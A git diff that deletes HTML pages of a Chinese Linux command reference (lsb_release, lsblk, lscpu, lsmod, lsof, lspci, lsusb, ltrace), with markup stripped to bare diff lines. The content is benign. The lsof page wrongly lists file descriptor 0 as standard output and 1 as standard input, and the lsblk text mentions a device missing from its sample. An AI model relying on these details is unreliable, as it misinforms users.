lsattr -E -l rmt0 -H
-lsattr -EO -l rmt0
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lsb_release.html b/linux-command.docset/Contents/Resources/Documents/c/lsb_release.html deleted file mode 100644 index 2e49085184..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lsb_release.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - lsb_release 命令,Linux lsb_release 命令详解:显示发行版本信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lsb_release

-

显示发行版本信息

-

补充说明

-

LSB是Linux Standard Base的缩写, lsb_release命令 用来显示LSB和特定版本的相关信息。如果使用该命令时不带参数,则默认加上-v参数。

-
-v 显示版本信息。
--i 显示发行版的id。
--d 显示该发行版的描述信息。
--r 显示当前系统是发行版的具体版本号。
--c 发行版代号。
--a 显示上面的所有信息。
--h 显示帮助信息。
-
-

如果当前发行版是LSB兼容的,那么/etc/lsb_release文件中会包含LSB_VERSION域。这个域的值可以是用冒号隔开的一系列支持的模块。这些模块名是当前版本支持的LSB的模块名。如果当前版本不是LSB兼容的,就不要包含这个域。

-

可选的域包括DISTRIB_ID, DISTRIB_RELEASE, DISTRIB_CODENAME,DISTRIB_DESCRIPTION,它们可以覆盖/etc/distrib-release文件中的内容。注:这里的distrib要替换为当前的发行版的名字。如果存在/etc/lsb-release.d目录,会在该目录中查找文件名并作为附加的模块版本加在LSB_VERSION前面。文件/etc/distrib-release中包含了一些描述信息,用来说明应该分析哪些文件名。

-

 一般的格式是Distributor release x.x (Codename)  注意:Debian系统中缺乏相应的描述信息(见/etc/debian-version),为了支持Debian系统,大部分信息都被加在了lsb-release文件中。

-

redhat和fedora系统中,还支持一个参数:

-
-s, --short  输出简短的描述信息。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lsblk.html b/linux-command.docset/Contents/Resources/Documents/c/lsblk.html deleted file mode 100644 index 6673f4beaf..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lsblk.html +++ /dev/null @@ -1,136 +0,0 @@ - - - - - - - - - - - lsblk 命令,Linux lsblk 命令详解:列出块设备信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lsblk

-

列出块设备信息

-

补充说明

-

lsblk命令 用于列出所有可用块设备的信息,而且还能显示他们之间的依赖关系,但是它不会列出RAM盘的信息。块设备有硬盘,闪存盘,cd-ROM等等。lsblk命令包含在util-linux-ng包中,现在该包改名为util-linux。这个包带了几个其它工具,如dmesg。要安装lsblk,请在此处下载util-linux包。Fedora用户可以通过命令sudo yum install util-linux-ng来安装该包。

-

选项

-
-a, --all            # 显示所有设备。
--b, --bytes          # 以bytes方式显示设备大小。
--d, --nodeps         # 不显示 slaves 或 holders。
--D, --discard        # print discard capabilities。
--e, --exclude <list> # 排除设备 (default: RAM disks)。
--f, --fs             # 显示文件系统信息。
--h, --help           # 显示帮助信息。
--i, --ascii          # use ascii characters only。
--m, --perms          # 显示权限信息。
--l, --list           # 使用列表格式显示。
--n, --noheadings     # 不显示标题。
--o, --output <list>  # 输出列。
--P, --pairs          # 使用key="value"格式显示。
--r, --raw            # 使用原始格式显示。
--t, --topology       # 显示拓扑结构信息。
-
-

实例

-

lsblk命令默认情况下将以树状列出所有块设备。打开终端,并输入以下命令:

-
lsblk
-
-NAME   MAJ:MIN rm   SIZE RO type mountpoint
-sda      8:0    0 232.9G  0 disk 
-├─sda1   8:1    0  46.6G  0 part /
-├─sda2   8:2    0     1K  0 part 
-├─sda5   8:5    0   190M  0 part /boot
-├─sda6   8:6    0   3.7G  0 part [SWAP]
-├─sda7   8:7    0  93.1G  0 part /data
-└─sda8   8:8    0  89.2G  0 part /personal
-sr0     11:0    1  1024M  0 rom
-
-

7个栏目名称如下:

-
    -
  1. NAME :这是块设备名。
  2. -
  3. MAJ:MIN :本栏显示主要和次要设备号。
  4. -
  5. RM :本栏显示设备是否可移动设备。注意,在本例中设备sdb和sr0的RM值等于1,这说明他们是可移动设备。
  6. -
  7. SIZE :本栏列出设备的容量大小信息。例如298.1G表明该设备大小为298.1GB,而1K表明该设备大小为1KB。
  8. -
  9. RO :该项表明设备是否为只读。在本案例中,所有设备的RO值为0,表明他们不是只读的。
  10. -
  11. TYPE :本栏显示块设备是否是磁盘或磁盘上的一个分区。在本例中,sda和sdb是磁盘,而sr0是只读存储(rom)。
  12. -
  13. MOUNTPOINT :本栏指出设备挂载的挂载点。
  14. -
-

默认选项不会列出所有空设备。要查看这些空设备,请使用以下命令:

-
lsblk -a
-
-

lsblk命令也可以用于列出一个特定设备的拥有关系,同时也可以列出组和模式。可以通过以下命令来获取这些信息:

-
lsblk -m
-
-

该命令也可以只获取指定设备的信息。这可以通过在提供给lsblk命令的选项后指定设备名来实现。例如,你可能对了解以字节显示你的磁盘驱动器大小比较感兴趣,那么你可以通过运行以下命令来实现:

-
lsblk -b /dev/sda
-
-等价于
-
-lsblk --bytes /dev/sda
-
-

你也可以组合几个选项来获取指定的输出。例如,你也许想要以列表格式列出设备,而不是默认的树状格式。你可能也对移除不同栏目名称的标题感兴趣。可以将两个不同的选项组合,以获得期望的输出,命令如下:

-
lsblk -nl
-
-

要获取SCSI设备的列表,你只能使用-S选项。该选项是大写字母S,不能和-s选项混淆,该选项是用来以颠倒的顺序打印依赖的。

-
lsblk -S
-
-

lsblk列出SCSI设备,而-s是逆序选项(将设备和分区的组织关系逆转过来显示),其将给出如下输出。输入命令:

-
lsblk -s
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lscpu.html b/linux-command.docset/Contents/Resources/Documents/c/lscpu.html deleted file mode 100644 index 69b79a78c7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lscpu.html +++ /dev/null @@ -1,126 +0,0 @@ - - - - - - - - - - - lscpu 命令,Linux lscpu 命令详解:显示有关CPU架构的信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lscpu

-

显示有关CPU架构的信息

-

补充说明

-

lscpu命令 是显示有关CPU架构的信息。

-

语法

-
lscpu [选项]
-
-

选项

-
 -a, --all               # 打印在线和离线CPU(默认为-e)
- -b, --online            # 仅打印在线CPU(-p的默认值)
- -c, --offline           # 打印离线CPU
- -e, --extended[=<list>] # 打印出一个扩展的可读格式
- -p, --parse[=<list>]    # 打印出可解析的格式
- -s, --sysroot <dir>     # 将指定的目录用作系统根目录
- -x, --hex               # 打印十六进制掩码,而不是CPU列表
-
- -h, --help     # 显示此帮助并退出
- -V, --version  # 输出版本信息并退出
-
-

参数

-
可用列:
-           CPU  逻辑CPU编号
-          CORE  逻辑核心号码
-        SOCKET  逻辑套接字号
-          NODE  逻辑NUMA节点号
-          BOOK  逻辑书号
-         CACHE  显示了如何在CPU之间共享高速缓存
-  POLARIZATION  虚拟硬件上的CPU调度模式
-       ADDRESS  CPU的物理地址
-    CONFIGURED  显示管理程序是否分配了CPU
-        ONLINE  显示Linux是否正在使用CPU
-
-

例子

-
[root@localhost ~]# lscpu
-Architecture:          x86_64
-CPU op-mode(s):        32-bit, 64-bit
-Byte Order:            Little Endian
-CPU(s):                4
-On-line CPU(s) list:   0-3
-Thread(s) per core:    1
-Core(s) per socket:    4
-Socket(s):             1
-NUMA node(s):          1
-Vendor ID:             GenuineIntel
-CPU family:            6
-Model:                 30
-Model name:            Intel(R) Xeon(R) CPU           X3430  @ 2.40GHz
-Stepping:              5
-CPU MHz:               2394.055
-BogoMIPS:              4788.11
-Virtualization:        VT-x
-L1d cache:             32K
-L1i cache:             32K
-L2 cache:              256K
-L3 cache:              8192K
-NUMA node0 CPU(s):     0-3
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lsmod.html b/linux-command.docset/Contents/Resources/Documents/c/lsmod.html deleted file mode 100644 index f605b361f4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lsmod.html +++ /dev/null @@ -1,159 +0,0 @@ - - - - - - - - - - - lsmod 命令,Linux lsmod 命令详解:显示已载入系统的模块 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lsmod

-

显示已载入系统的模块

-

补充说明

-

lsmod命令 用于显示已经加载到内核中的模块的状态信息。执行lsmod命令后会列出所有已载入系统的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放入核心。您可以将这些功能编译成一个个单独的模块,待需要时再分别载入。

-

语法

-
lsmod
-
-

实例

-
[root@LinServ-1 ~]# lsmod
-Module                  Size  Used by
-ipv6                  272801  15
-xfrm_nalgo             13381  1 ipv6
-crypto_api             12609  1 xfrm_nalgo
-ip_conntrack_ftp       11569  0
-xt_limit                6721  2
-xt_state                6209  2
-ip_conntrack           53665  2 ip_conntrack_ftp,xt_state
-nfnetlink              10713  1 ip_conntrack
-xt_tcpudp               7105  6
-xt_multiport            7233  1
-iptable_filter          7105  1
-ip_tables              17029  1 iptable_filter
-x_tables               17349  5 xt_limit,xt_state,xt_tcpudp,xt_multiport,ip_tables
-dm_mirror              24393  0
-dm_multipath           27213  0
-scsi_dh                12481  1 dm_multipath
-video                  21193  0
-backlight              10049  1 video
-sbs                    18533  0
-power_meter            16461  0
-hwmon                   7365  1 power_meter
-i2c_ec                  9025  1 sbs
-dell_wmi                8401  0
-wmi                    12137  1 dell_wmi
-button                 10705  0
-battery                13637  0
-asus_acpi              19289  0
-ac                      9157  0
-lp                     15849  0
-snd_hda_intel         401453  0
-snd_seq_dummy           7877  0
-snd_seq_oss            32577  0
-snd_seq_midi_event     11073  1 snd_seq_oss
-snd_seq                49585  5 snd_seq_dummy,snd_seq_oss,snd_seq_midi_event
-snd_seq_device         11725  3 snd_seq_dummy,snd_seq_oss,snd_seq
-snd_pcm_oss            42817  0
-snd_mixer_oss          19009  1 snd_pcm_oss
-snd_pcm                72517  2 snd_hda_intel,snd_pcm_oss
-ide_cd                 40161  0
-snd_timer              24517  2 snd_seq,snd_pcm
-tpm_tis                16713  0
-r8169                  43077  0
-snd_page_alloc         14281  2 snd_hda_intel,snd_pcm
-tpm                    19041  1 tpm_tis
-i2c_i801               12737  0
-mii                     9409  1 r8169
-serio_raw              10693  0
-i2c_core               24897  2 i2c_ec,i2c_i801
-snd_hwdep              12869  1 snd_hda_intel
-tpm_bios               11073  1 tpm
-cdrom                  36577  1 ide_cd
-pcspkr                  7105  0
-parport_pc             29669  1
-sg                     36973  0
-snd                    57797  9 snd_hda_intel,snd_seq_oss,snd_seq,snd_seq_device,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_timer,snd_hwdep
-parport                37513  2 lp,parport_pc
-soundcore              11553  1 snd
-dm_raid45              67273  0
-dm_message              6977  1 dm_raid45
-dm_region_hash         15681  1 dm_raid45
-dm_log                 14785  3 dm_mirror,dm_raid45,dm_region_hash
-dm_mod                 63993  4 dm_mirror,dm_multipath,dm_raid45,dm_log
-dm_mem_cache            9537  1 dm_raid45
-ata_piix               23749  4
-libata                158085  1 ata_piix
-sd_mod                 25409  6
-scsi_mod              144277  4 scsi_dh,sg,libata,sd_mod
-ext3                  126281  3
-jbd                    57705  1 ext3
-uhci_hcd               25421  0
-ohci_hcd               24937  0
-ehci_hcd               34509  0
-
-
    -
  • 第1列:表示模块的名称。
  • -
  • 第2列:表示模块的大小。
  • -
  • 第3列:表示依赖模块的个数。
  • -
  • 第4列:表示依赖模块的内容。
  • -
-

通常在使用lsmod命令时,都会采用类似lsmod | grep -i ext3这样的命令来查询当前系统是否加载了某些模块。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lsof.html b/linux-command.docset/Contents/Resources/Documents/c/lsof.html deleted file mode 100644 index e2c5e9773f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lsof.html +++ /dev/null @@ -1,193 +0,0 @@ - - - - - - - - - - - lsof 命令,Linux lsof 命令详解:显示Linux系统当前已打开的所有文件列表 `lsof -p pid` - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lsof

-

显示Linux系统当前已打开的所有文件列表 lsof -p pid

-

补充说明

-

lsof命令 用于查看你进程打开的文件,打开文件的进程,进程打开的端口(TCP、UDP)。找回/恢复删除的文件。是十分方便的系统监视工具,因为lsof命令需要访问核心内存和各种文件,所以需要root用户执行。

-

在linux环境下,任何事物都以文件的形式存在,通过文件不仅仅可以访问常规数据,还可以访问网络连接和硬件。所以如传输控制协议 (TCP) 和用户数据报协议 (UDP) 套接字等,系统在后台都为该应用程序分配了一个文件描述符,无论这个文件的本质如何,该文件描述符为应用程序与基础操作系统之间的交互提供了通用接口。因为应用程序打开文件的描述符列表提供了大量关于这个应用程序本身的信息,因此通过lsof工具能够查看这个列表对系统监测以及排错将是很有帮助的。

-

语法

-
lsof (选项)
-
-

选项

-
-a:列出打开文件存在的进程;
--c<进程名>:列出指定进程所打开的文件;
--g:列出GID号进程详情;
--d<文件号>:列出占用该文件号的进程;
-+d<目录>:列出目录下被打开的文件;
-+D<目录>:递归列出目录下被打开的文件;
--n<目录>:列出使用NFS的文件;
--i<条件>:列出符合条件的进程(协议、:端口、 @ip )
--p<进程号>:列出指定进程号所打开的文件;
--u:列出UID号进程详情;
--h:显示帮助信息;
--v:显示版本信息
-
-

实例

-
lsof
-command     PID USER   FD      type             DEVICE     SIZE       NODE NAME
-init          1 root  cwd       DIR                8,2     4096          2 /
-init          1 root  rtd       DIR                8,2     4096          2 /
-init          1 root  txt       REG                8,2    43496    6121706 /sbin/init
-init          1 root  mem       REG                8,2   143600    7823908 /lib64/ld-2.5.so
-init          1 root  mem       REG                8,2  1722304    7823915 /lib64/libc-2.5.so
-init          1 root  mem       REG                8,2    23360    7823919 /lib64/libdl-2.5.so
-init          1 root  mem       REG                8,2    95464    7824116 /lib64/libselinux.so.1
-init          1 root  mem       REG                8,2   247496    7823947 /lib64/libsepol.so.1
-init          1 root   10u     FIFO               0,17                1233 /dev/initctl
-migration     2 root  cwd       DIR                8,2     4096          2 /
-migration     2 root  rtd       DIR                8,2     4096          2 /
-migration     2 root  txt   unknown                                        /proc/2/exe
-ksoftirqd     3 root  cwd       DIR                8,2     4096          2 /
-ksoftirqd     3 root  rtd       DIR                8,2     4096          2 /
-ksoftirqd     3 root  txt   unknown                                        /proc/3/exe
-migration     4 root  cwd       DIR                8,2     4096          2 /
-migration     4 root  rtd       DIR                8,2     4096          2 /
-migration     4 root  txt   unknown                                        /proc/4/exe
-ksoftirqd     5 root  cwd       DIR                8,2     4096          2 /
-ksoftirqd     5 root  rtd       DIR                8,2     4096          2 /
-ksoftirqd     5 root  txt   unknown                                        /proc/5/exe
-events/0      6 root  cwd       DIR                8,2     4096          2 /
-events/0      6 root  rtd       DIR                8,2     4096          2 /
-events/0      6 root  txt   unknown                                        /proc/6/exe
-events/1      7 root  cwd       DIR                8,2     4096          2 /
-
-

lsof输出各列信息的意义如下:

-
    -
  • COMMAND:进程的名称
  • -
  • PID:进程标识符
  • -
  • PPID:父进程标识符(需要指定-R参数)
  • -
  • USER:进程所有者
  • -
  • PGID:进程所属组
  • -
  • FD:文件描述符,应用程序通过文件描述符识别该文件。
  • -
-

文件描述符列表:

-
    -
  1. cwd:表示current work dirctory,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改
  2. -
  3. txt:该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序
  4. -
  5. lnn:library references (AIX);
  6. -
  7. er:FD information error (see NAME column);
  8. -
  9. jld:jail directory (FreeBSD);
  10. -
  11. ltx:shared library text (code and data);
  12. -
  13. mxx :hex memory-mapped type number xx.
  14. -
  15. m86:DOS Merge mapped file;
  16. -
  17. mem:memory-mapped file;
  18. -
  19. mmap:memory-mapped device;
  20. -
  21. pd:parent directory;
  22. -
  23. rtd:root directory;
  24. -
  25. tr:kernel trace file (OpenBSD);
  26. -
  27. v86  VP/ix mapped file;
  28. -
  29. 0:表示标准输出
  30. -
  31. 1:表示标准输入
  32. -
  33. 2:表示标准错误
  34. -
-

一般在标准输出、标准错误、标准输入后还跟着文件状态模式:

-
    -
  1. u:表示该文件被打开并处于读取/写入模式。
  2. -
  3. r:表示该文件被打开并处于只读模式。
  4. -
  5. w:表示该文件被打开并处于写入模式。
  6. -
  7. 空格:表示该文件的状态模式为unknow,且没有锁定。
  8. -
  9. -:表示该文件的状态模式为unknow,且被锁定。
  10. -
-

同时在文件状态模式后面,还跟着相关的锁:

-
    -
  1. N:for a Solaris NFS lock of unknown type;
  2. -
  3. r:for read lock on part of the file;
  4. -
  5. R:for a read lock on the entire file;
  6. -
  7. w:for a write lock on part of the file;(文件的部分写锁)
  8. -
  9. W:for a write lock on the entire file;(整个文件的写锁)
  10. -
  11. u:for a read and write lock of any length;
  12. -
  13. U:for a lock of unknown type;
  14. -
  15. x:for an SCO OpenServer Xenix lock on part      of the file;
  16. -
  17. X:for an SCO OpenServer Xenix lock on the      entire file;
  18. -
  19. space:if there is no lock.
  20. -
-

文件类型:

-
    -
  1. DIR:表示目录。
  2. -
  3. CHR:表示字符类型。
  4. -
  5. BLK:块设备类型。
  6. -
  7. UNIX: UNIX 域套接字。
  8. -
  9. FIFO:先进先出 (FIFO) 队列。
  10. -
  11. IPv4:网际协议 (IP) 套接字。
  12. -
  13. DEVICE:指定磁盘的名称
  14. -
  15. SIZE:文件的大小
  16. -
  17. NODE:索引节点(文件在磁盘上的标识)
  18. -
  19. NAME:打开文件的确切名称
  20. -
  21. REG:常规文件
  22. -
-

列出指定进程号所打开的文件:

-
lsof -p $pid
-
-

获取端口对应的进程ID=>pid

-
lsof -i:9981 -P -t -sTCP:LISTEN
-
-

列出打开文件的进程:

-
lsof $filename
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lspci.html b/linux-command.docset/Contents/Resources/Documents/c/lspci.html deleted file mode 100644 index 4ab90fb966..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lspci.html +++ /dev/null @@ -1,133 +0,0 @@ - - - - - - - - - - - lspci 命令,Linux lspci 命令详解:显示当前主机的所有PCI总线信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lspci

-

显示当前主机的所有PCI总线信息

-

补充说明

-

lspci命令 用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。

-

语法

-
lspci(选项)
-
-

选项

-
-n:以数字方式显示PCI厂商和设备代码;
--t:以树状结构显示PCI设备的层次关系,包括所有的总线、桥、设备以及它们之间的联接;
--b:以总线为中心的视图;
--d:仅显示给定厂商和设备的信息;
--s:仅显示指定总线、插槽上的设备和设备上的功能块信息;
--i:指定PCI编号列表文件,而不使用默认的文件;
--m:以机器可读方式显示PCI设备信息。
-
-

实例

-
[root@localhost ~]# lspci
-00:00.0 host bridge: Intel Corporation 5500 I/O Hub to ESI Port (rev 22)
-00:01.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 1 (rev 22)
-00:02.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 2 (rev 22)
-00:03.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 3 (rev 22)
-00:07.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 7 (rev 22)
-00:08.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 8 (rev 22)
-00:09.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 9 (rev 22)
-00:0a.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 10 (rev 22)
-00:10.0 PIC: Intel Corporation 5520/5500/X58 Physical and Link Layer Registers Port 0 (rev 22)
-00:10.1 PIC: Intel Corporation 5520/5500/X58 Routing and Protocol Layer Registers Port 0 (rev 22)
-00:11.0 PIC: Intel Corporation 5520/5500 Physical and Link Layer Registers Port 1 (rev 22)
-00:11.1 PIC: Intel Corporation 5520/5500 Routing & Protocol Layer Register Port 1 (rev 22)
-00:14.0 PIC: Intel Corporation 5520/5500/X58 I/O Hub System Management Registers (rev 22)
-00:14.1 PIC: Intel Corporation 5520/5500/X58 I/O Hub GPIO and Scratch Pad Registers (rev 22)
-00:14.2 PIC: Intel Corporation 5520/5500/X58 I/O Hub Control Status and RAS Registers (rev 22)
-00:14.3 PIC: Intel Corporation 5520/5500/X58 I/O Hub Throttle Registers (rev 22)
-00:16.0 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
-00:16.1 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
-00:16.2 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
-00:16.3 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
-00:16.4 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
-00:16.5 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
-00:16.6 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
-00:16.7 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
-00:1a.0 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #4
-00:1a.1 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #5
-00:1a.7 USB controller: Intel Corporation 82801JI (ICH10 Family) USB2 EHCI Controller #2
-00:1b.0 Audio device: Intel Corporation 82801JI (ICH10 Family) HD Audio Controller
-00:1c.0 PCI bridge: Intel Corporation 82801JI (ICH10 Family) PCI Express Root Port 1
-00:1c.4 PCI bridge: Intel Corporation 82801JI (ICH10 Family) PCI Express Root Port 5
-00:1c.5 PCI bridge: Intel Corporation 82801JI (ICH10 Family) PCI Express Root Port 6
-00:1d.0 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #1
-00:1d.1 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #2
-00:1d.2 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #3
-00:1d.3 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #6
-00:1d.7 USB controller: Intel Corporation 82801JI (ICH10 Family) USB2 EHCI Controller #1
-00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev 90)
-00:1f.0 ISA bridge: Intel Corporation 82801JIR (ICH10R) lpc Interface Controller
-00:1f.2 IDE interface: Intel Corporation 82801JI (ICH10 Family) 4 port SATA IDE Controller #1
-00:1f.3 SMBus: Intel Corporation 82801JI (ICH10 Family) SMBus Controller
-00:1f.5 IDE interface: Intel Corporation 82801JI (ICH10 Family) 2 port SATA IDE Controller #2
-01:01.0 VGA compatible controller: ASPEED Technology, Inc. ASPEED Graphics Family (rev 10)
-02:00.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection
-03:00.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection
-04:00.0 Serial Attached SCSI controller: LSI Logic / Symbios Logic SAS2008 PCI-Express Fusion-MPT SAS-2 [Falcon] (rev 03)
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lsusb.html b/linux-command.docset/Contents/Resources/Documents/c/lsusb.html deleted file mode 100644 index eec2375a56..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lsusb.html +++ /dev/null @@ -1,114 +0,0 @@ - - - - - - - - - - - lsusb 命令,Linux lsusb 命令详解:显示本机的USB设备列表信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lsusb

-

显示本机的USB设备列表信息

-

补充说明

-

lsusb命令 用于显示本机的USB设备列表,以及USB设备的详细信息。

-

lsusb命令是一个学习USB驱动开发,认识USB设备的助手,推荐大家使用,如果您的开发板中或者产品中没有lsusb命令可以自己移植一个,放到文件系统里面。

-

语法

-
lsusb(选项)
-
-

选项

-
-v:显示USB设备的详细信息;
--s<总线:设备号>仅显示指定的总线和(或)设备号的设备;
--d<厂商:产品>:仅显示指定厂商和产品编号的设备;
--t:以树状结构显示无理USB设备的层次;
--V:显示命令的版本信息。
-
-

实例

-

插入usb鼠标后执行lsusb的输出内容如下:

-
Bus 005 Device 001: id 0000:0000 
-Bus 001 Device 001: ID 0000:0000 
-Bus 004 Device 001: ID 0000:0000 
-Bus 003 Device 001: ID 0000:0000 
-Bus 002 Device 006: ID 15d9:0a37 
-Bus 002 Device 001: ID 0000:0000 
-
-

解释:

-

Bus 005

-

表示第五个usb主控制器(机器上总共有5个usb主控制器 -- 可以通过命令lspci | grep USB查看)

-

Device 006

-

表示系统给usb鼠标分配的设备号(devnum),同时也可以看到该鼠标是插入到了第二个usb主控制器

-
006        usb_device.devnum
-/sys/devices/pci0000:00/0000:00:1d.1/usb2/2-2/devnum
-
-

ID 15d9:0a37

-

表示usb设备的ID(这个ID由芯片制造商设置,可以唯一表示该设备)

-
15d9    usb_device_descriptor.idVendor
-0a37    usb_device_descriptor.idProduct
-/sys/devices/pci0000:00/0000:00:1d.1/usb2/2-2/idVendor
-
-

Bus 002 Device 006: ID 15d9:0a37
-Bus 002 Device 001: ID 0000:0000

-

表示002号usb主控制器上接入了两个设备:

-
    -
  • 一个是usb根Hub -- 001 
  • -
  • 一个是usb鼠标  -- 006
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ltrace.html b/linux-command.docset/Contents/Resources/Documents/c/ltrace.html deleted file mode 100644 index 21bd468a9b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ltrace.html +++ /dev/null @@ -1,134 +0,0 @@ - - - - - - - - - - - ltrace 命令,Linux ltrace 命令详解:用来跟踪进程调用库函数的情况 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ltrace

-

用来跟踪进程调用库函数的情况

-

补充说明

-

ltrace命令 是用来跟踪进程调用库函数的情况。

-

语法

-
ltrace [option ...] [command [arg ...]]
-
-

选项

-
-a 对齐具体某个列的返回值。
--c 计算时间和调用,并在程序退出时打印摘要。
--C 解码低级别名称(内核级)为用户级名称。
--d 打印调试信息。
--e 改变跟踪的事件。
--f 跟踪子进程。
--h 打印帮助信息。
--i 打印指令指针,当库调用时。
--l 只打印某个库中的调用。
--L 不打印库调用。
--n, --indent=NR 对每个调用级别嵌套以NR个空格进行缩进输出。
--o, --output=file 把输出定向到文件。
--p PID 附着在值为PID的进程号上进行ltrace。
--r 打印相对时间戳。
--s STRLEN 设置打印的字符串最大长度。
--S 显示系统调用。
--t, -tt, -ttt 打印绝对时间戳。
--T 输出每个调用过程的时间开销。
--u USERNAME 使用某个用户id或组ID来运行命令。
--V, --version 打印版本信息,然后退出。
--x NAME treat the global NAME like a library subroutine.(求翻译)
-
-

实例

-

最基本应用,不带任何参数:

-
[guest@localhost tmp]$ ltrace ./a.out
-__libc_start_main(0x80484aa, 1, 0xbfc07744, 0x8048550, 0x8048540 <unfinished ...>
-printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24
-printf("no1:%d \t no2:%d \t diff:%d\n", 9, 7, 2no1:9 no2:7 diff:2 ) = 23
-printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23
---- SIGFPE (Floating point exception) ---
-+++ killed by SIGFPE +++
-
-

输出调用时间开销:

-
[guest@localhost tmp]$ ltrace -T ./a.out
-__libc_start_main(0x80484aa, 1, 0xbf81d394, 0x8048550, 0x8048540 <unfinished ...>
-printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24 <0.000972>
-printf("no1:%d \t no2:%d \t diff:%d\n", 9, 7, 2no1:9 no2:7 diff:2 ) = 23 <0.000155>
-printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23 <0.000153>
---- SIGFPE (Floating point exception) ---
-+++ killed by SIGFPE +++
-
-

显示系统调用:

-
[guest@localhost tmp]$ ltrace -S ./a.out
-SYS_brk(NULL) = 0x9e20000
-SYS_access(0xa4710f, 4, 0xa4afc0, 0, 0xa4b644) = 0
-SYS_open("/etc/ld.so.preload", 0, 02) = 3
-SYS_fstat64(3, 0xbfbd7a94, 0xa4afc0, -1, 3) = 0
-SYS_mmap2(0, 17, 3, 2, 3) = 0xb7f2a000
-SYS_close(3) = 0
-SYS_open("/lib/libcwait.so", 0, 00) = 3
-SYS_read(3, "\177ELF\001\001\001", 512) = 512
-SYS_fstat64(3, 0xbfbd76fc, 0xa4afc0, 4, 0xa4b658) = 0
-SYS_mmap2(0, 4096, 3, 34, -1) = 0xb7f29000
-SYS_mmap2(0, 5544, 5, 2050, 3) = 0x423000
-SYS_mmap2(0x424000, 4096, 3, 2066, 3) = 0x424000
-.............省去若干行
-
- -
